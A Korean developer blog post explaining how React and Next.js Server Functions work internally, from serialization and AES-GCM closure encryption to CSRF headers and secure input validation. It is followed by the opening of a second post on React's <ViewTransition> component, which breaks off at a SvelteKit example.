
`decodeReply`는 React의 Flight 역직렬화 함수로, `processReply`의 역과정이다. `$D`, `$n`, `$h` 등의 토큰을 원래 타입으로 복원한다.

### 5단계: 응답 생성

함수 실행이 끝나면 결과와 함께 **업데이트된 UI**도 하나의 응답으로 반환한다.

```ts
// revalidation이 발생한 경우
const flightResponse = await generateFlight({
  actionResult: result,
  // 변경된 페이지의 RSC Payload도 포함
})
```

이것이 서버 함수의 핵심적인 이점이다. 전통적인 API에서는 "변경 → refetch → UI 갱신"이 3단계였지만, 서버 함수에서는 **한 번의 왕복**으로 끝난다.

### 요청/응답 헤더 전체 정리

| 헤더                        | 방향 | 용도                                             |
| --------------------------- | ---- | ------------------------------------------------ |
| `Next-Action`               | 요청 | Action ID (42자 해시)                            |
| `Content-Type`              | 요청 | `multipart/form-data` 또는 `text/plain`          |
| `Origin`                    | 요청 | CSRF 보호 (Host와 비교)                          |
| `Host` / `X-Forwarded-Host` | 요청 | CSRF 보호 (Origin과 비교)                        |
| `Cache-Control`             | 응답 | `no-cache, no-store, max-age=0, must-revalidate` |
| `x-action-redirect`         | 응답 | 리다이렉트 URL + 타입                            |
| `x-next-revalidated`        | 응답 | 캐시 무효화 지시                                 |

`Cache-Control`이 항상 `no-store`인 점에 주목하자. 서버 함수의 응답은 절대 캐싱되지 않는다. mutation의 결과를 캐싱하면 안 되기 때문이다.

## 클로저 암호화: AES-GCM의 세계

Server Component 안에서 인라인으로 정의한 서버 함수가 외부 변수를 캡처할 때, 이 클로저 변수는 암호화되어 클라이언트를 경유한다. Next.js의 실제 구현을 파헤쳐보자.

### 왜 암호화가 필요한가

```tsx
export default async function AdminPage() {
  const secretConfig = await getSecretConfig()

  async function updateConfig(formData: FormData) {
    'use server'
    // secretConfig를 클로저로 캡처
    await db.config.update(secretConfig.id, {
      value: formData.get('value'),
    })
  }

  return <form action={updateConfig}>...</form>
}
```

`secretConfig`는 서버에서만 존재해야 하는 비밀 데이터다. 그런데 서버 함수의 동작 방식상, 클로저 변수는 클라이언트로 전송되었다가 호출 시 다시 서버로 돌아와야 한다. 암호화 없이는 브라우저 DevTools에서 `secretConfig`의 내용을 볼 수 있다.

### 암호화 구현: AES-GCM

Next.js는 Web Crypto API의 **AES-GCM**을 사용한다[^7]. 인증된 암호화(authenticated encryption) 방식으로, 기밀성과 무결성을 동시에 보장한다.

```ts
// next/src/server/app-render/encryption-utils.ts

export function encrypt(key: CryptoKey, iv: Uint8Array, data: Uint8Array) {
  return crypto.subtle.encrypt({name: 'AES-GCM', iv}, key, data)
}

export function decrypt(key: CryptoKey, iv: Uint8Array, data: Uint8Array) {
  return crypto.subtle.decrypt({name: 'AES-GCM', iv}, key, data)
}
```

### 암호화 키의 출처

```ts
// next/src/server/app-render/encryption-utils.ts

export async function getActionEncryptionKey() {
  if (__next_loaded_action_key) {
    return __next_loaded_action_key
  }

  const rawKey =
    process.env.NEXT_SERVER_ACTIONS_ENCRYPTION_KEY ||
    serverActionsManifest.encryptionKey // 빌드 시 자동 생성

  __next_loaded_action_key = await crypto.subtle.importKey(
    'raw',
    stringToUint8Array(atob(rawKey)), // base64 디코딩
    'AES-GCM',
    true,
    ['encrypt', 'decrypt'],
  )

  return __next_loaded_action_key
}
```

키는 두 가지 소스 중 하나에서 온다.

1. `NEXT_SERVER_ACTIONS_ENCRYPTION_KEY` 환경 변수 (수동 설정)
2. `serverActionsManifest.encryptionKey` (빌드 시 자동 생성)

빌드할 때마다 새 키가 생성되므로, 이전 빌드에서 암호화된 클로저는 새 빌드의 서버에서 복호화할 수 없다. 이것이 앞서 다룬 버전 스큐 문제의 암호화 측면이다. 여러 버전이 동시에 서빙되는 배포 환경에서는 `NEXT_SERVER_ACTIONS_ENCRYPTION_KEY`를 명시적으로 설정해서 빌드 간 키를 고정해야 한다. 단, 키를 고정하면 보안과 편의 사이의 트레이드오프가 생기므로, 키 로테이션 주기를 별도로 관리하는 것이 권장된다.

### 암호화 과정: encodeActionBoundArg

실제 암호화 과정을 단계별로 보자.

```ts
// next/src/server/app-render/encryption.ts

async function encodeActionBoundArg(actionId: string, arg: string) {
  const key = await getActionEncryptionKey()

  // 1. 16바이트 랜덤 IV 생성
  const iv = new Uint8Array(16)
  crypto.getRandomValues(iv)

  // 2. actionId를 평문 앞에 붙여서 암호화
  //    → 복호화 시 actionId가 일치하는지 검증 (무결성 체크)
  const encrypted = await encrypt(key, iv, textEncoder.encode(actionId + arg))

  // 3. base64(IV + 암호문) 형태로 반환
  return btoa(arrayBufferToString(iv.buffer) + arrayBufferToString(encrypted))
}
```

와이어 포맷: `base64(IV_16bytes + AES_GCM_ciphertext)`

`actionId`를 평문 앞에 붙이는 것이 핵심이다. AES-GCM 자체에도 무결성 검증이 있지만, actionId를 평문에 포함시켜서 **"이 암호문이 정말 이 Action ID용인지"** 를 추가로 검증한다. 다른 서버 함수의 암호화된 클로저를 이 서버 함수에 붙여넣는 공격을 방지한다.

### 복호화 과정: decodeActionBoundArg

```ts
async function decodeActionBoundArg(actionId: string, arg: string) {
  const key = await getActionEncryptionKey()

  // 1. base64 디코딩 → IV(16바이트) + 암호문 분리
  const payload = atob(arg)
  const iv = stringToUint8Array(payload.slice(0, 16))
  const ciphertext = stringToUint8Array(payload.slice(16))

  // 2. 복호화
  const decrypted = textDecoder.decode(await decrypt(key, iv, ciphertext))

  // 3. actionId 접두사 검증
  if (!decrypted.startsWith(actionId)) {
    throw new Error('Invalid Server Action payload: failed to decrypt.')
  }

  // 4. actionId 제거 → 원본 직렬화 데이터
  return decrypted.slice(actionId.length)
}
```

### 직렬화 계층: Flight Protocol 사용

클로저 변수의 암호화/복호화는 **React Flight Protocol** 위에서 동작한다. 변수를 바이트로 변환하는 것이 아니라, Flight의 `renderToReadableStream`/`createFromReadableStream`으로 직렬화/역직렬화한다.

```ts
// 암호화 시
export const encryptActionBoundArgs = React.cache(async function (
  actionId,
  ...args
) {
  // 1. Flight Protocol로 직렬화
  const serialized = await streamToString(
    renderToReadableStream(args, clientModules),
  )
  // 2. AES-GCM으로 암호화
  return await encodeActionBoundArg(actionId, serialized)
})

// 복호화 시
export async function decryptActionBoundArgs(actionId, encryptedPromise) {
  const encrypted = await encryptedPromise
  // 1. AES-GCM으로 복호화
  const decrypted = await decodeActionBoundArg(actionId, encrypted)
  // 2. Flight Protocol로 역직렬화
  return await createFromReadableStream(
    new ReadableStream({
      start(controller) {
        controller.enqueue(textEncoder.encode(decrypted))
        controller.close()
      },
    }),
    {
      serverConsumerManifest: {/* module maps */},
    },
  )
}
```

Flight Protocol을 사용하는 이유는 클로저 변수에 서버 참조, Date, Map 등 JSON으로 표현할 수 없는 타입이 포함될 수 있기 때문이다.

`React.cache`로 래핑되어 있어서 같은 렌더링 패스 내에서 참조가 동일한 인자로 호출될 때 캐싱된다. 다만 `React.cache`는 인자의 참조 동일성(`Object.is`)으로 비교하므로, 매 렌더링마다 새로 생성되는 객체가 인자에 포함되면 캐시 히트가 발생하지 않는다. 모듈 스코프의 서버 함수처럼 클로저가 없는 경우에 가장 효과적이다.

### .bind()는 암호화되지 않는다

`.bind()`로 전달된 값은 암호화되지 않는다. `ReactFlightWebpackReferences.js`의 `bind` 구현[^3]을 보면 바운드 인자를 `$$bound` 배열에 누적할 뿐, 암호화 경로를 타지 않는다. React 팀의 공식 언급은 찾지 못했지만, 소스 코드 구조상 의도된 동작으로 보인다.

```tsx
// 클로저 — 암호화됨
async function deletePost() {
  'use server'
  await db.posts.delete(post.id) // post.id는 암호화되어 전달
}

// .bind() — 암호화 안 됨
const deletePostWithId = deletePost.bind(null, post.id)
// post.id가 클라이언트에 평문으로 노출됨
```

|        | 클로저                  | `.bind()`     |
| ------ | ----------------------- | ------------- |
| 암호화 | ✅ AES-GCM              | ❌ 평문       |
| 성능   | 암호화/복호화 오버헤드  | 오버헤드 없음 |
| 용도   | 민감한 데이터 포함 가능 | 공개 데이터만 |

`.bind()`로 비밀 토큰을 전달하면 클라이언트에 그대로 노출된다. 비밀 값이 필요하면 클로저를 사용하거나, 서버 함수 내부에서 직접 읽어야 한다.

## Progressive Enhancement: JS 없이도 동작하는 폼

서버 함수와 `<form>`의 조합에서 가장 중요한 특성은 JavaScript 없이도 동작한다는 것이다. 이것이 어떻게 구현되는지 보자.

### MPA Action: HTML에 Action ID 숨기기

JavaScript가 로드되기 전에 폼을 제출하면, 브라우저는 일반 HTML 폼 제출을 수행한다. 이때 `Next-Action` 헤더를 보낼 수 없으므로, Action ID를 **FormData 안에** 숨긴다.

```html
<!-- 서버에서 렌더링된 HTML (개념적) -->
<form method="POST" action="/posts">
  <input type="hidden" name="$ACTION_ID_abc123def456..." value="" />
  <input type="text" name="title" />
  <button type="submit">작성</button>
</form>
```

Next.js에서 사용하는 특수 FormData 필드명:

| 필드 접두사    | 용도                                     |
| -------------- | ---------------------------------------- |
| `$ACTION_ID_`  | 바인딩 없는 서버 함수의 Action ID (42자) |
| `$ACTION_REF_` | 바인딩이 있는 서버 함수의 참조           |

서버에서 이 요청을 받으면, `Next-Action` 헤더가 없으므로 FormData에서 `$ACTION_ID_`로 시작하는 필드를 찾아 Action ID를 추출한다.

### Hydration 전 제출 큐잉

JavaScript가 로딩 중(hydration 전)에 사용자가 폼을 제출하면, React는 이를 큐에 넣고 hydration이 완료되면 **재생(replay)** 한다.

```text
1. 서버에서 HTML 렌더링 → 브라우저에 전송
2. 사용자가 즉시 폼 제출 (JS 아직 미로드)
3. 제출이 큐에 저장됨
4. JavaScript 로드 + hydration 완료
5. 큐에 쌓인 제출을 순서대로 처리
```

이 때문에 서버 함수를 사용한 폼은 "로딩 중에 제출해도 안전하다"는 보장이 있다. `useActionState`의 세 번째 인자(permalink)를 사용하면, hydration이 완료되기 전에 제출된 경우 해당 URL로 리다이렉트해서 결과를 보여줄 수도 있다.

## 폼과의 통합: useActionState와 useTransition

### useActionState: 상태와 액션의 연결

`useActionState`는 서버 함수의 반환값을 상태로 관리하고, pending 상태를 추적한다.

```tsx
'use client'

import {useActionState} from 'react'
import {createPost} from '@/app/actions'

function PostForm() {
  const [state, submitAction, isPending] = useActionState(createPost, null)

  return (
    <form action={submitAction}>
      <input type="text" name="title" disabled={isPending} />
      <button type="submit" disabled={isPending}>
        {isPending ? '작성 중...' : '작성'}
      </button>
      {state?.error && <p>{state.error}</p>}
    </form>
  )
}
```

```ts
'use server'

export async function createPost(previousState: any, formData: FormData) {
  const title = formData.get('title') as string
  if (!title) {
    return {error: '제목을 입력해주세요'}
  }
  await db.posts.create({title})
  return {error: null}
}
```

`useActionState`를 사용하면 서버 함수의 시그니처가 바뀐다. 첫 번째 인자로 **이전 상태**(previous state)가 추가된다. React가 내부적으로 이전 호출의 반환값을 저장해두었다가, 다음 호출 시 첫 번째 인자로 주입한다.

### useTransition: 폼 밖에서의 호출

폼이 아닌 이벤트 핸들러에서 서버 함수를 호출할 때는 `startTransition`으로 감싸야 한다.

```tsx
'use client'

import {useState, useTransition} from 'react'
import {incrementLike} from '@/app/actions'

function LikeButton({postId}: {postId: number}) {
  const [likes, setLikes] = useState(0)
  const [isPending, startTransition] = useTransition()

  return (
    <button
      disabled={isPending}
      onClick={() => {
        startTransition(async () => {
          const updatedLikes = await incrementLike(postId)
          setLikes(updatedLikes)
        })
      }}
    >
      {isPending ? '...' : `좋아요 ${likes}`}
    </button>
  )
}
```

`<form action>`은 내부적으로 자동으로 transition을 사용한다. 이벤트 핸들러에서는 명시적으로 감싸야 한다. 빼먹으면 pending 상태를 추적할 수 없고, 에러 바운더리도 제대로 동작하지 않는다.

## Next.js 프레임워크 통합

### revalidation: 한 번의 왕복으로 변경과 갱신

```ts
'use server'

import {revalidatePath} from 'next/cache'

export async function createPost(formData: FormData) {
  await db.posts.create({title: formData.get('title') as string})
  revalidatePath('/posts')
}
```

`revalidatePath`를 호출하면 서버 함수의 응답에 업데이트된 RSC Payload가 포함된다. 클라이언트는 이 한 번의 응답으로 데이터 변경 결과와 UI 갱신을 동시에 처리한다.

### redirect: 제어 흐름 예외

```ts
'use server'

import {redirect} from 'next/navigation'
import {revalidatePath} from 'next/cache'

export async function createPost(formData: FormData) {
  const post = await db.posts.create({title: formData.get('title') as string})
  revalidatePath('/posts')
  redirect(`/posts/${post.id}`)
}
```

`redirect`는 내부적으로 예외를 throw한다. 이후의 코드는 실행되지 않으므로 `revalidatePath`는 **반드시 `redirect` 전에** 호출해야 한다. Next.js의 action handler는 이 예외를 잡아서 `x-action-redirect` 헤더로 변환한다.

### 순차 실행: 클라이언트 단위의 큐잉

서버 함수의 순차 실행은 **서버 전체가 아니라 개별 클라이언트(브라우저 탭) 단위**의 동작이다. 정확히 말하면, React의 클라이언트 런타임이 서버 함수 호출을 **하나씩 디스패치**한다. 서버가 첫 번째 요청의 응답을 반환하기 전에 두 번째 요청을 보내지 않는다.

```text
사용자 A의 브라우저:  [action1] ──완료──> [action2] ──완료──> [action3]
사용자 B의 브라우저:  [action1] ──완료──> [action2]
                     ↑ 서로 독립적으로 병렬 처리됨
```

서버 입장에서 사용자 A와 사용자 B의 요청은 동시에 처리된다. 순차 실행은 **같은 브라우저 탭 내**에서만 적용된다. 사용자가 좋아요 버튼을 빠르게 3번 클릭하면, React가 클라이언트 측에서 두 번째/세 번째 호출을 큐에 넣고 첫 번째 응답이 돌아온 뒤에 순서대로 보낸다.

이것은 **React 클라이언트 런타임의 구현 세부사항**이라 향후 변경될 수 있다. 현재로서는 하나의 탭에서 서버 함수를 병렬 호출할 수 없으므로, 병렬 처리가 필요하면 하나의 서버 함수 안에서 `Promise.all`을 사용해야 한다.

```ts
'use server'

// ❌ 클라이언트에서 동시 호출해도 순차 처리됨
// await Promise.all([publishPost(1), publishPost(2), publishPost(3)])

// ✅ 하나의 서버 함수 안에서 병렬 처리
export async function batchPublish(ids: number[]) {
  await Promise.all(ids.map((id) => db.posts.publish(id)))
}
```

## 보안: 모든 입력은 적대적이다

서버 함수는 본질적으로 **공개 API 엔드포인트**다. `"use server"`를 적는 순간, 그 함수는 누구든 HTTP 요청으로 호출할 수 있다.

```bash
curl -X POST https://your-app.com/posts \
  -H "Next-Action: abc123def456..." \
  -H "Content-Type: multipart/form-data" \
  -F "0=악의적인 데이터"
```

### 입력 검증: TypeScript 타입은 런타임에 없다

```ts
'use server'

// ❌ TypeScript 타입을 신뢰
export async function deletePost(id: number) {
  await db.posts.delete(id) // id에 문자열이 올 수도 있다
}

// ✅ 런타임 검증
import {z} from 'zod'

const schema = z.object({id: z.number().int().positive()})

export async function deletePost(id: unknown) {
  const {id: validId} = schema.parse({id})
  await db.posts.delete(validId)
}
```

### 인증/인가: "인증된 페이지에서만 호출되니까" 는 위험하다

서버 함수는 페이지와 독립적으로 호출할 수 있다. 미들웨어에서 페이지 접근을 차단해도, 서버 함수는 직접 POST 요청으로 호출 가능하다. **서버 함수 내부에서 반드시 인증/인가를 확인**해야 한다.

```ts
'use server'

import {getCurrentUser} from '@/lib/auth'

export async function deletePost(id: number) {
  const user = await getCurrentUser()
  if (!user) throw new Error('인증이 필요합니다')

  const post = await db.posts.get(id)
  if (post.authorId !== user.id && !user.isAdmin) {
    throw new Error('권한이 없습니다')
  }

  await db.posts.delete(id)
}
```

### Data Access Layer: 보안의 단일 관문

서버 함수에서 직접 DB를 호출하는 대신, 별도의 데이터 접근 레이어를 두는 것이 권장된다[^8].

```ts
// data/posts.ts
import 'server-only'
import {getCurrentUser} from './auth'

export async function deletePostById(id: number) {
  const user = await getCurrentUser()
  if (!user) throw new Error('Unauthorized')

  const post = await db.posts.get(id)
  if (post.authorId !== user.id && !user.isAdmin) {
    throw new Error('Forbidden')
  }

  await db.posts.delete(id)
}
```

```ts
// app/actions.ts
'use server'

import {deletePostById} from '@/data/posts'

export async function deletePost(id: number) {
  await deletePostById(id) // 인증/인가는 데이터 레이어에서 처리
}
```

보안 감사의 범위가 데이터 레이어로 좁아진다. 서버 함수가 100개여도 보안 로직은 한 곳에서 관리할 수 있다.

### 에러 메시지: 프로덕션에서는 자동으로 숨겨진다

프로덕션 모드에서 React는 서버의 에러 메시지를 클라이언트에 전달하지 않는다[^9]. 에러를 식별하는 해시만 전달한다. `[credit card number] is not a valid phone number` 같은 메시지가 노출되는 것을 방지한다.

개발 모드에서는 에러가 그대로 클라이언트에 전달된다. **프로덕션은 반드시 프로덕션 모드로 실행해야 한다.**

### server-only: 경계 누출 방지

```ts
import 'server-only'

export async function getSecretData() {
  return process.env.SECRET_KEY
}
```

이 모듈을 Client Component에서 import하면 빌드 에러가 난다. `"use server"`가 서버 함수의 경계를 만들어주지만, 서버 함수가 호출하는 유틸리티 함수에는 `server-only`를 명시하는 것이 안전하다.

## 서버 함수는 데이터 페칭용이 아니다

서버 함수는 **mutation(변경)** 을 위해 설계되었다[^1].

```tsx
// ❌ 서버 함수로 데이터 페칭
'use server'
export async function getPosts() {
  return await db.posts.findMany()
}

// 클라이언트에서
useEffect(() => {
  getPosts().then(setPosts)
}, [])
```

이 패턴의 문제:

1. **순차 실행**: 여러 데이터를 동시에 가져올 수 없다.
2. **캐싱 불가**: POST 요청이므로 브라우저/CDN 캐싱이 안 된다.
3. **반환값 미캐싱**: 프레임워크가 서버 함수의 반환값을 캐싱하지 않는다.
4. **워터폴**: 클라이언트 렌더링 → useEffect → 서버 요청 → 응답 → 재렌더링. Server Component에서 직접 데이터를 가져오면 이 워터폴이 사라진다.

```tsx
// ✅ Server Component에서 직접 데이터 페칭
export default async function PostsPage() {
  const posts = await db.posts.findMany()
  return <PostList posts={posts} />
}
```

서버 함수의 역할은 명확하다: **사용자의 행위에 의한 서버 상태 변경.** 폼 제출, 좋아요, 삭제, 업데이트. 이 범위를 벗어나면 더 적합한 도구가 있다.

## Flight Protocol에서 서버 함수는 어떻게 표현되는가

Server Component가 서버 함수를 Client Component의 prop으로 전달할 때, Flight 스트림에서 서버 함수가 어떻게 인코딩되는지 보자.

### 서버 측: serializeServerReference

`ReactFlightServer.js`[^10]에서 함수 값을 만나면, `isServerReference`로 서버 참조 여부를 확인한다.

```js
// react-server/src/ReactFlightServer.js

if (typeof value === 'function') {
  if (isClientReference(value)) {
    return serializeClientReference(request, parent, parentPropertyName, value)
  }
  if (isServerReference(value)) {
    return serializeServerReference(request, value)
  }
  // 서버 참조도 클라이언트 참조도 아닌 함수 → 에러
}
```

`isServerReference`는 단순히 `$$typeof` 속성을 확인한다.

```js
export function isServerReference(reference) {
  return reference.$$typeof === Symbol.for('react.server.reference')
}
```

`serializeServerReference`는 함수의 `$$id`와 `$$bound`를 메타데이터 객체로 만들고, **별도의 Flight 청크로 아웃라인**한다.

```js
function serializeServerReference(request, serverReference) {
  const existingId = request.writtenServerReferences.get(serverReference)
  if (existingId !== undefined) {
    return '$h' + existingId.toString(16) // 이미 처리된 참조 재사용
  }

  const id = getServerReferenceId(request.bundlerConfig, serverReference)
  const bound = getServerReferenceBoundArguments(
    request.bundlerConfig,
    serverReference,
  )

  const metadata = {
    id,
    bound: bound === null ? null : Promise.resolve(bound),
  }

  const metadataId = outlineModel(request, metadata)
  request.writtenServerReferences.set(serverReference, metadataId)

  return '$h' + metadataId.toString(16)
}
```

실제 Flight 스트림에서는 이런 형태가 된다.

```text
5:{"id":"abc123#deletePost","bound":null}
0:["$","form",null,{"action":"$h5"}]
```

- `5:` 청크에 서버 함수의 메타데이터가 담긴다
- `"$h5"` → "5번 청크에 있는 서버 참조"를 가리킨다

### 클라이언트 측: $h 토큰 해석

클라이언트의 Flight 파서(`ReactFlightClient.js`)[^11]가 `$h` 토큰을 만나면 `loadServerReference`를 호출한다.

```js
// parseModelString 내부
case 'h': {
  const ref = value.slice(2)
  return getOutlinedModel(response, ref, parentObject, key, loadServerReference)
}
```

`loadServerReference`는 메타데이터의 `id`와 `bound`를 받아서 `createBoundServerReference`로 호출 가능한 함수를 만든다. 이 함수는 호출 시 `callServer(id, args)`를 실행하는 프록시다.

## 전체 아키텍처: 한 눈에 보기

```mermaid
graph TD
    A["'use server' 디렉티브"] -->|빌드 타임| B["registerServerReference()"]
    B --> C["서버 번들: 원본 함수 + $$id/$$bound 주입"]
    B --> D["클라이언트 번들: createServerReference(id, callServer)"]

    D -->|사용자 호출| E["processReply: 인자 직렬화"]
    E -->|"JSON 또는 FormData"| F["HTTP POST + Next-Action 헤더"]

    F -->|서버 수신| G["handleAction: CSRF 검증"]
    G --> H["serverModuleMap: Action ID → 모듈 탐색"]
    H --> I["decodeReply: 인자 역직렬화"]
    I --> J["함수 실행"]
    J --> K["generateFlight: 결과 + RSC Payload"]

    K -->|응답| L["클라이언트: UI 업데이트"]

    subgraph 클로저
        M["인라인 서버 함수"] -->|렌더링 시| N["encryptActionBoundArgs: Flight 직렬화 → AES-GCM 암호화"]
        N -->|"base64(IV + ciphertext)"| O["클라이언트에 전달"]
        O -->|호출 시| P["decryptActionBoundArgs: AES-GCM 복호화 → Flight 역직렬화"]
        P --> I
    end
```

## 마치며

`"use server"` 한 줄 뒤에 숨어있는 것들을 정리하면:

1. **빌드 타임**: `registerServerReference`가 함수에 `$$typeof`, `$$id`, `$$bound`를 주입한다. `.bind()`는 오버라이드되어 바운드 인자를 누적한다. 클라이언트 번들에는 `callServer`를 호출하는 프록시 함수만 남는다.

2. **직렬화**: `processReply`가 인자를 JSON 또는 FormData로 직렬화한다. `$h`, `$D`, `$n` 등 20개 이상의 접두사 토큰으로 JSON의 한계를 넘는다.

3. **네트워크**: 항상 POST. `Next-Action` 헤더에 42자 해시 ID. `Origin` vs `Host` 비교로 CSRF 차단. 응답은 `no-store`.

4. **서버 처리**: `serverModuleMap`에서 ID로 함수를 찾고, `decodeReply`로 인자를 복원하고, 실행하고, `generateFlight`로 결과와 업데이트된 UI를 한 번에 반환한다.

5. **클로저 암호화**: AES-GCM으로 암호화. 키는 빌드마다 자동 생성. Action ID를 평문에 포함시켜 무결성 검증. `.bind()`는 암호화 안 됨.

6. **Progressive Enhancement**: `$ACTION_ID_` 접두사로 FormData에 Action ID를 숨긴다. Hydration 전 제출은 큐잉되어 재생된다.

서버 함수는 편리하지만, 그 편리함은 40년 된 RPC의 역사, 빌드 타임 코드 변환, Flight Protocol, AES-GCM 암호화, CSRF 보호 위에 서있다. 이 모든 계층을 이해하고 나면, `"use server"` 한 줄이 왜 그렇게 무거운지 알 수 있다.

## 참고

[^1]: React 공식 문서, [Server Functions](https://react.dev/reference/rsc/server-functions)

[^2]: [Fallacies of Distributed Computing](https://en.wikipedia.org/wiki/Fallacies_of_distributed_computing), Wikipedia

[^3]: React v19.2.0 기준 소스, [`ReactFlightWebpackReferences.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server-dom-webpack/src/ReactFlightWebpackReferences.js)

[^4]: React v19.2.0 기준 소스, [`ReactFlightReplyClient.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-client/src/ReactFlightReplyClient.js)

[^5]: Next.js v16.1.7 기준 소스, [`csrf-protection.ts`](https://github.com/vercel/next.js/blob/v16.1.7/packages/next/src/server/app-render/csrf-protection.ts)

[^6]: Next.js v16.1.7 기준 소스, [`action-handler.ts`](https://github.com/vercel/next.js/blob/v16.1.7/packages/next/src/server/app-render/action-handler.ts)

[^7]: Next.js v16.1.7 기준 소스, [`encryption-utils.ts`](https://github.com/vercel/next.js/blob/v16.1.7/packages/next/src/server/app-render/encryption-utils.ts), [`encryption.ts`](https://github.com/vercel/next.js/blob/v16.1.7/packages/next/src/server/app-render/encryption.ts)

[^8]: Next.js 블로그, [How to Think About Security in Next.js](https://nextjs.org/blog/security-nextjs-server-components-actions)

[^9]: React 공식 문서, ["use server"](https://react.dev/reference/rsc/use-server)

[^10]: React v19.2.0 기준 소스, [`ReactFlightServer.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-server/src/ReactFlightServer.js)

[^11]: React v19.2.0 기준 소스, [`ReactFlightClient.js`](https://github.com/facebook/react/blob/v19.2.0/packages/react-client/src/ReactFlightClient.js)

---

Source: https://yceffort.kr/2026/03/react-view-transition.md
Title: React의 <em><ViewTransition></em>: 브라우저 네이티브 애니메이션을 React답게
Description: View Transition API를 React가 감싸면 어떻게 되는가
Date: 2026-03-02
Tags: react, css, nextjs

## Table of Contents

## 개요

웹에서 페이지 전환이나 UI 상태 변경 시 애니메이션을 넣으려면, 지금까지는 CSS `transition`/`animation`을 직접 작성하거나 Framer Motion 같은 라이브러리에 의존해야 했다. 특히 "이전 상태가 사라지고 새 상태가 나타나는" 전환은 두 상태를 동시에 DOM에 유지하면서 애니메이션을 조율해야 하기 때문에 까다롭다.

[View Transition API](https://developer.mozilla.org/en-US/docs/Web/API/View_Transition_API)는 이 문제를 브라우저 레벨에서 해결한다. 개발자가 두 상태를 동시에 관리할 필요 없이, 브라우저가 알아서 전환 전후의 스냅샷을 찍고 애니메이션을 만들어준다.

## View Transition API란

동작 원리는 다음과 같다.

```js
document.startViewTransition(() => {
  // 이 콜백 안에서 DOM을 변경한다
  container.innerHTML = newContent
})
```

`startViewTransition`을 호출하면 브라우저는 3단계를 거친다.

1. **캡처**: 현재 화면을 비트맵 스냅샷으로 캡처한다 (`::view-transition-old`)
2. **변경**: 콜백을 실행하여 DOM을 업데이트한다
3. **전환**: 새로운 DOM 상태를 캡처하고 (`::view-transition-new`), old → new 사이에 cross-fade 애니메이션을 적용한다

기본적으로는 전체 페이지가 cross-fade되지만, `view-transition-name` CSS 속성으로 개별 요소를 지정하면 해당 요소만 별도로 애니메이션된다. 같은 `view-transition-name`을 가진 요소가 전환 전후에 존재하면, 브라우저가 위치·크기·형태를 자동으로 보간하는 shared element 애니메이션이 만들어진다.

```css
.thumbnail {
  view-transition-name: hero-image;
}
```

이것만으로 목록 페이지의 작은 썸네일이 상세 페이지의 큰 이미지로 자연스럽게 확대·이동하는 애니메이션을 만들 수 있다. CSS를 한 줄도 더 쓸 필요가 없다.

문제는 이 API가 **콜백 안에서 DOM이 동기적으로 변경되는 것**을 전제한다는 점이다. React에서는 그게 보장되지 않는다.

React 팀은 이 문제를 `<ViewTransition>`이라는 컴포넌트로 풀었다. 2026년 3월 현재 `react@canary` 채널에서 사용할 수 있으며, stable 릴리스에는 아직 포함되지 않았다. 다만 [React Labs 블로그 포스트(2025.04)](https://react.dev/blog/2025/04/23/react-labs-view-transitions-activity-and-more)에서 프로덕션에서 테스트를 거쳤고 API 설계가 거의 확정 단계라고 밝혔으므로, 미리미리 알아보자.

## 왜 React에 전용 컴포넌트가 필요한가

React 없이 View Transition API를 쓰면 `startViewTransition` 콜백 안에서 DOM을 직접 바꾸면 끝이다. 이때 DOM 변경은 **동기적**이어야 한다. 브라우저는 `startViewTransition`을 호출하면 (1) 현재 화면을 스냅샷으로 캡처하고 (2) 콜백을 실행한 뒤 (3) 콜백이 리턴되는 시점에 새 DOM 상태를 캡처한다. 콜백이 리턴되었는데 DOM이 아직 안 바뀌었으면, old 스냅샷과 new 스냅샷이 동일해서 전환 애니메이션이 성립하지 않는다.

React에서는 `setState`가 비동기적으로 배칭되므로, `flushSync`로 동기 렌더링을 강제해야 한다.

```tsx
function handleClick() {
  document.startViewTransition(() => {
    flushSync(() => {
      setState(newState)
    })
  })
}
```

이 방식은 실제로 쓰다 보면 구체적인 문제에 부딪힌다.

**Suspense와 함께 쓰면 fallback이 다시 나타난다.** `flushSync`는 pending 상태의 Suspense boundary를 강제로 fallback 상태로 되돌릴 수 있다. 이미 데이터를 받아서 콘텐츠를 보여주고 있는데, `flushSync` 호출 하나로 스켈레톤이 다시 번쩍 나타나는 상황이 발생한다. React 공식 문서에서도 [`flushSync`는 Suspense fallback을 다시 보여줄 수 있다](https://react.dev/reference/react-dom/flushSync)고 명시적으로 경고하고 있다.

**다른 `flushSync`와 충돌하면 View Transition이 통째로 스킵된다.** React의 Transition은 동기적으로 완료되어야 하는데, 중간에 다른 `flushSync`가 끼어들면 React가 Transition 시퀀스를 포기한다. 사용자 인터랙션이 겹치는 실제 앱에서는 이 상황이 충분히 발생할 수 있고, 애니메이션이 간헐적으로 작동하지 않는 디버깅하기 어려운 버그로 이어진다.

**Concurrent 기능과 원천적으로 양립할 수 없다.** `startTransition`으로 감싼 상태 업데이트는 의도적으로 지연될 수 있고, Suspense 안의 컴포넌트는 데이터를 기다리며 렌더링을 보류할 수 있다. View Transition API가 요구하는 "콜백 안에서 DOM 즉시 변경"이라는 전제와 근본적으로 맞지 않는다.

`<ViewTransition>` 컴포넌트는 이 문제를 React 내부에서 해결한다. React가 렌더링 사이클을 제어하고 있으므로, DOM 업데이트가 완료되는 정확한 타이밍에 `startViewTransition`을 호출하고, Suspense 경계와 Concurrent 렌더링을 자동으로 조율한다.

|                      | Vanilla JS      | React + flushSync    | `<ViewTransition>` |
| -------------------- | --------------- | -------------------- | ------------------ |
| DOM 타이밍           | 직접 제어       | 예측 어려움          | React가 조율       |
| Suspense 연동        | 불가            | fallback 재출현 위험 | 자동 지원          |
| view-transition-name | CSS에 수동 지정 | CSS에 수동 지정      | 자동 적용          |
| Concurrent 렌더링    | 해당 없음       | 양립 불가            | 자동 지원          |

## 다른 프레임워크와의 비교

다른 프레임워크와 비교하면 React의 접근 방식이 유독 무겁다는 걸 알 수 있다. 이유는 렌더링 모델의 차이에 있다.

**SvelteKit**은 [Svelte 5의 시그널 기반 fine-grained reactivity](https://frontendmasters.com/blog/fine-grained-reactivity-in-svelte-5/) 위에서 동작한다. `$state`로 선언한 값이 변경되면 해당 값에 의존하는 DOM 노드만 직접 업데이트된다. 가상 DOM 디핑이 없고, 변경이 발생한 시점에 DOM이 즉시 반영된다. 그래서 View Transition 통합이 놀라울 정도로 단순하다. [`onNavigate`](https://svelte.dev/blog/view-transitions)라는 라이프사이클 훅을 제공하는 게 전부다.

```js
// +layout.svelte
